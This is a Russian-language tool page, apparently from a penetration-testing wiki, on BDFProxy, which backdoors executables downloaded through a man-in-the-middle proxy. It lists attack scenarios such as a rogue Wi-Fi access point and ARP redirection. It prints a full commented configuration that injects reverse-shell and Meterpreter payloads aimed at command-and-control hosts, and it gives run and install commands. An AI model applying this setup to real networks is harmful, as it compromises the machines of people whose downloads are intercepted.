BDFProxy
Описание BDFProxy
Этот скрипт заражает бэкдорами загружаемые исполнимые файлы во время осуществления атаки человек-посередине, он работает на основе двух библиотек: Backdoor Factory (BDF) и mitmProxy.
Домашняя страница: https://github.com/secretsquirrel/BDFProxy
Автор: Josh Pitts
Лицензия: BSD 3-Clause
Справка по BDFProxy
Справка отсутствует.
Сценарии атаки:
- Злая ТД Wifi
- Arp перенаправление
- Физическое размещение в коммутационном шкафу
- Логическое размещение на вашем любимом поставщике услуг Интернета
Руководство по BDFProxy
Страница man отсутствует.
Конфигурационный файл с комментариями:
[Overall] proxyMode = regular # Режимы: regular или None (для libmproxy < 13), socks5, transparent, reverse, upstream MaxSizeFileRequested = 100000000 # при запросе клиентом большого файла отправит 502 (ошибка сервера) certLocation = ~/.mitmproxy/mitmproxy-ca.pem proxyPort = 8080 sslports = 443, 8443 loglevel = INFO logname = proxy.log resourceScriptFile = bdfproxy_msf_resource.rc [hosts] #белый список хостов/IP — патчить только их. #ALL — это означает все, используйте чёрный список для исключения конкретных хостов/IP whitelist = ALL #Хосты, которые никогда не патчатся, но пропускаются через прокси. Вы можете включить хост и ip, рекомендуется использовать и то, и другое. blacklist = , # если не хотите использовать эту опцию, то напишите запятую, не оставляйте поле пустым [keywords] #Проверки выполняются по ключевым словам в пути url whitelist = ALL #Чёрный список исполнимых файлов, к которым вы совершенно не хотите притрагиваться # Также применяется в сжатых файлах zip blacklist = .dll [ZIP] # patchCount — это максимальное число файлов для пропатчивания в файле zip # После достижения максимального числа, остальные файлы будут пропущены # и отправлены в первоначальном виде patchCount = 5 # В байтах maxSize = 50000000 blacklist = .dll, #не работать с dll в файле zip [TAR] # patchCount — это максимальное число файлов для пропатчивания в файле tar # После достижения максимального числа, остальные файлы будут пропущены # и отправлены в первоначальном виде patchCount = 5 # В байтах maxSize = 50000000 blacklist = , # если не хотите использовать эту опцию, то напишите запятую, не оставляйте поле пустым [targets] #УБЕДИТЕСЬ, что ваши настройки для хоста и порта НЕ MAKE # перекрываются между различными типами полезной нагрузки [[ALL]] # для всех целей НАСТРОЙКИ ПО УМОЛЧАНИЮ являются ОБЯЗАТЕЛЬНЫМИ LinuxType = ALL # на выбор: x86/x64/ALL/None WindowsType = ALL # на выбор: x86/x64/ALL/None FatPriority = x64 # на выбор: x86 или x64 FileSizeMax = 10000000 # ~10 MB (менее) Не патчить файлы, превышающие этот размер CompressedFiles = True #True/False [[[LinuxIntelx86]]] SHELL = reverse_shell_tcp # Здесь BDF синтаксис HOST = 192.168.1.168 # Это C2 PORT = 8888 SUPPLIED_SHELLCODE = None # Запуск препроцессора True/False PREPROCESS = False MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF синтаксис [[[LinuxIntelx64]]] SHELL = reverse_shell_tcp HOST = 192.168.1.16 PORT = 9999 SUPPLIED_SHELLCODE = None # Запуск препроцессора True/False PREPROCESS = False MSFPAYLOAD = linux/x64/shell_reverse_tcp [[[WindowsIntelx86]]] PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND # PATCH_METHOD перезаписывает PATCH_TYPE, используйте automatic, replace или onionduke PATCH_METHOD = automatic HOST = 192.168.1.16 PORT = 8090 # SHELL для использования с automatic PATCH_METHOD SHELL = iat_reverse_tcp_stager_threaded # SUPPLIED_SHELLCODE для использования с полезной нагрузкой user_supplied_shellcode SUPPLIED_SHELLCODE = None ZERO_CERT = True # PATCH_DLL если они встречаются PATCH_DLL = False # RUNAS_ADMIN попытается пропатчить requestedExecutionLevel до highestAvailable RUNAS_ADMIN = True # XP_MODE - для поддержки целей XP XP_MODE = True # РАЗМЕСТИТЬ Import Directory Table в Cave, а не в новую секцию (Экспериментальная опция) IDT_IN_CAVE = False # SUPPLIED_BINARY для использования с PATCH_METHOD 'onionduke' DLL/EXE могут быть x64 и # с PATCH_METHOD 'replace' используйте EXE, а не DLL SUPPLIED_BINARY = veil_go_payload.exe # CODE_SIGN — для подписывания кода. Вы должны настроить ваши собственные сертификаты, смотрите документацию по BDF для подробностей. CODE_SIGN = False # Запустить препроцессор True/False PREPROCESS = False MSFPAYLOAD = windows/meterpreter/reverse_tcp [[[WindowsIntelx64]]] PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND # PATCH_METHOD перезаписывает PATCH_TYPE, используйте automatic или onionduke PATCH_METHOD = automatic HOST = 192.168.1.16 PORT = 8088 # SHELL для использования с automatic PATCH_METHOD SHELL = iat_reverse_tcp_stager_threaded # SUPPLIED_SHELLCODE для использования с полезнйо нагрузкой user_supplied_shellcode SUPPLIED_SHELLCODE = None ZERO_CERT = True PATCH_DLL = True # РАЗМЕСТИТЬ Import Directory Table в Cave, а не в новую секцию (Экспериментальная опция) IDT_IN_CAVE = False # RUNAS_ADMIN попытается пропатчить requestedExecutionLevel до highestAvailable RUNAS_ADMIN = True # SUPPLIED_BINARY для использования с PATCH_METHOD onionduke DLL/EXE может быть x86 32bit и # с PATCH_METHOD 'replace' используйте EXE, а не DLL SUPPLIED_BINARY = pentest_x64_payload.exe # CODE_SIGN — для подписывания кода. Вы должны настроить ваши собственные сертификаты, смотрите документацию по BDF для подробностей. CODE_SIGN = False # Запустить препроцессор True/False PREPROCESS = False MSFPAYLOAD = windows/x64/shell/reverse_tcp [[[MachoIntelx86]]] SHELL = reverse_shell_tcp HOST = 192.168.1.16 PORT = 4444 SUPPLIED_SHELLCODE = None # Запустить препроцессор True/False PREPROCESS = False MSFPAYLOAD = linux/x64/shell_reverse_tcp [[[MachoIntelx64]]] SHELL = reverse_shell_tcp HOST = 192.168.1.16 PORT = 5555 SUPPLIED_SHELLCODE = None # Запустить препроцессор True/False PREPROCESS = False MSFPAYLOAD = linux/x64/shell_reverse_tcp # Эти настройки для целей применяются только если они различаются с настройками из секции ALL # Эти настройки перезаписывают настройки из секции ALL [[sysinternals.com]] LinuxType = None WindowsType = ALL CompressedFiles = False #наследует WindowsIntelx32 от ALL [[[WindowsIntelx86]]] PATCH_DLL = False ZERO_CERT = True [[sourceforge.org]] WindowsType = x64 CompressedFiles = False [[[WindowsIntelx64]]] PATCH_DLL = False [[[WindowsIntelx86]]] PATCH_DLL = False
Примеры запуска BDFProxy
Необходимо начать с настройки файла bdfproxy.cfg. В Kali Linux этот файл размещён в /etc/bdfproxy/bdfproxy.cfg.
Перед запуском BDFProxy вам нужно вписать настройки хоста и порта вашего C2. НЕ делайте совпадающими настройки ПОРТА между двумя различными полезными нагрузками. Вы будуте отправлять шеллы linux на машины windows и всё время будете получать ошибку segfaulting. После запуска, будет создан скрипт ресурса metasploit для помощи с настройкой связи до C2. Внимательно проверьте его. Всё, что находиться за пределами секции [Overall] обновляется на лету, поэтому вам не нужно останавливать ваш прокси для изменения настроек работы вашей среды.
Затем:
sudo ./bdf_proxy.py
Или
sudo bdfproxy
Окно прокси будет быстро заполняться массивным количеством ссылок. Используйте
tail -f proxy.log
для просмотра того, что было пропатчено и заблокировано вашими настройками чёрного списка. При этом не упускайте из глаз главное окно прокси, если вы выбрали патчить исполнимые файлы вручную, всё происходит быстро при многопоточном обмене трафиком, но базовые запросы и ответы запираются для простоты обзора.
Установка BDFProxy
Установка в Kali Linux
sudo apt-get update sudo apt-get install bdfproxy
Установка в BlackArch
Программа предустановлена в BlackArch.
Информация об установке в другие операционные системы будет добавлена позже.
Скриншоты BDFProxy
Это утилита командной строки.
Инструкции по BDFProxy
Ссылки на инструкции будут добавлены позже.
Comments are Closed